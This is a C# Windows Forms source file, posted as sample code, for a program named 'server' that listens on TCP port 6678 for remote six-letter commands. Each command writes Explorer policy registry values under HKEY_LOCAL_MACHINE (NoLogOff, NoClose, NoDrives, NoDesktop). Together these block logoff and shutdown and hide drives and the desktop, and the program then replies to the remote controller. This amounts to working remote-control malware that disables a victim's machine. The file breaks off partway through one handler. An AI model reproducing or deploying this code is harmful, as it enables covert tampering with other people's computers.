form1.cs

C#示例代码,刚刚注册随便找了一个东西测试一下好不好用

using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using Microsoft.Win32;


namespace server
{
	/// <summary>
	/// Form1 的摘要说明。
	/// </summary>
	public class Form1 : System.Windows.Forms.Form
	{
		/// <summary>
		/// 必需的设计器变量。
		/// </summary>
		private System.ComponentModel.Container components = null;

		private TcpListener listener;
		private string mystr="您好！非常抱歉，您的注册表：";
		private RegistryKey  rrr=Registry.LocalMachine;
		private RegistryKey key1;


		public Form1()
		{
			//
			// Windows 窗体设计器支持所必需的
			//
			InitializeComponent();
		{int port =6678;
			listener=new TcpListener(port);
			listener.Start();
			
			Thread thread=new Thread(new ThreadStart(target));
			thread.Start();

		}

			//
			// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
			//
		}
		public void target()
		{
			
			Socket socket= listener.AcceptSocket();
			
			while(socket.Connected)
			{

				
				byte[] by=new Byte[6];
				int i=socket.Receive(by,by.Length,0);
				
				string ss=System.Text.Encoding.ASCII.GetString(by);
				//OOOOOOOOOOOOOOOOOOOOOOOOOOO以下是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOO			
					
				//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&	
				if(ss=="jiance")
				{
					string str="hjc";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
					
				}
				if(ss=="zx1000")
				{
				
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						
						key1.SetValue("NoLogOff",1);
						key1.Close();
						mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff被修改！请将它置为0！";

					}
					catch{}
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
                           
							key2.SetValue("NoLogOff",1);
							key2.Close();
							mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff被修改！请将它置为0！";

						}//try
						catch{}
					}//if(key1==null){
					string str="hkz";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
				

				}//if(ss=="")
				//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
				//****************************************************************************
				if(ss=="zx0100")
				{
					
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						
						key1.SetValue("NoClose",1);
						key1.Close();
						mystr=mystr+"LocalMachine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose被修改！请将它置为0！";

					}
					catch{}
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
                           
							key2.SetValue("NoClose",1);
							key2.Close();
							mystr=mystr+"LocalMachine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose被修改！请将它置为0！";

						}//try
						catch{}
					}//if(key1==null){
					string str="hkz";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
				
				
				
				}//if(ss=="zx0100"){
				//****************************************************************************

				//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
				if(ss=="zx0010")
				{
					
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						
						key1.SetValue("NoDrives",12);
						key1.Close();
						mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives被修改！请将它置为0";

					}
					catch{}
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
                           
							key2.SetValue("NoDrives",12);
							key2.Close();
							mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives被修改！请将它置为0";

						}//try
						catch{}
					}//if(key1==null){
					string str="hkz";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
				

				
				
				}//if
				//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
				//====================================================================

				if(ss=="zx0001")
				{
					
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						
						key1.SetValue("NoDesktop",1);
						key1.Close();
						mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDesktop被修改！请将它置为0";

					}
					catch{}
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
                           
							key2.SetValue("NoDesktop",1);
							key2.Close();
							mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDesktop被修改！请将它置为0";

						}//try
						catch{}
					}//if(key1==null){
					string str="hkz";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
				

				
				}//if
				//=========================================================================
				//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


				if(ss=="zx1100")
				{
					
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						
						key1.SetValue("NoLogOff",1);
						key1.SetValue("NoClose",1);
						key1.Close();
						mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose被修改！请将它置为0";

					}
					catch{}
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
							key2.SetValue("NoLogOff",1);
							key2.SetValue("NoClose",1);
							key2.Close();
							mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose被修改！请将它置为0";

						}//try
						catch{}
					}//if(key1==null){
					string str="hkz";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
				

				
				}//if
				
				//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
				if(ss=="zx1010")
				{
					
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						
						key1.SetValue("NoLogOff",1);
						key1.SetValue("NoDrives",12);
						key1.Close();
						mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives被修改！请将它置为0";

					}
					catch{}
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
							key2.SetValue("NoLogOff",1);
							key2.SetValue("NoDrives",12);
							key2.Close();
							mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives被修改！请将它置为0";

						}//try
						catch{}
					}//if(key1==null){
					string str="hkz";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
				

				
				}//if
				//**************************************************
				if(ss=="zx1001")
				{
					
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer",true);
						
						key1.SetValue("NoLogOff",1);
						key1.SetValue("NoDesktop",1);
						key1.Close();
						mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDesktop被修改！请将它置为0";

					}
					catch(Exception ee){MessageBox.Show(ee.Message);}
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
                           
							key2.SetValue("NoLogOff",1);
							key2.SetValue("NoDesktop",1);
							key2.Close();
							mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDesktop被修改！请将它置为0";

						}//try
						catch{}
					}//if(key1==null){
					string str="hkz";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
				

				
				}//if
				//********************************************
				if(ss=="zx0110")
				{
					
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						
                        key1.SetValue("NoClose",1);
                        key1.SetValue("NoDrives",12);

						key1.Close();
						mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives被修改！请将它置为0";

					}
					catch{}
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
                           
							key2.SetValue("NoClose",1);
                            key2.SetValue("NoDrives",12);

							key2.Close();
							mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives被修改！请将它置为0";

						}//try
						catch{}
					}//if(key1==null){
					string str="hkz";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
				

				
				}//if
				//********************************************
				if(ss=="zx0101")
				{
					
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						
						key1.SetValue("NoClose",1);
						key1.SetValue("NoDesktop",1);

						key1.Close();
						mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDesktop被修改！请将它置为0";

					}
					catch{}
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
                           
							key2.SetValue("NoClose",1);
							key2.SetValue("NoDesktop",1);

							key2.Close();
							mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、、NoDesktop被修改！请将它置为0";

						}//try
						catch{}
					}//if(key1==null){
					string str="hkz";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
				

				
				}//if
				//********************************
				if(ss=="zx0011")
				{
					
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						
						key1.SetValue("NoDrives",12);
						key1.SetValue("NoDesktop",1);


						key1.Close();
						mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives、NoDesktop被修改！请将它置为0";

					}
					catch{}
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
                           
							key2.SetValue("NoDrives",12);
							key2.SetValue("NoDesktop",1);

							key2.Close();
							mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives、NoDesktop被修改！请将它置为0";

						}//try
						catch{}
					}//if(key1==null){
					string str="hkz";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
				

				
				}//if
				
				//************************************
				if(ss=="zx1110")
				{
					
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						
						key1.SetValue("NoLogOff",1);
						key1.SetValue("NoClose",1);
						key1.SetValue("NoDrives",12);



						key1.Close();
						mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives被修改！请将它置为0";

					}
					catch{}
					if(key1==null)
					{
						try
						{
							RegistryKey  key2=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
                           
							key2.SetValue("NoLogOff",1);
							key2.SetValue("NoClose",1);
							key2.SetValue("NoDrives",12);

							key2.Close();
							mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives被修改！请将它置为0";

						}//try
						catch{}
					}//if(key1==null){
					string str="hkz";
					byte[]  bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
					socket.Send(bytee,bytee.Length,0);
				

				
				}//if

				//**************************************
				if(ss=="zx1101")
				{
					
					try
					{
						key1=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
						
						key1.SetValue("NoLogOff",1);
						key1.SetValue("NoClose",1);
						key1.SetValue("NoDesktop",1);



						key1.Close();
						mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDesktop被修改！请将它置为0";

					}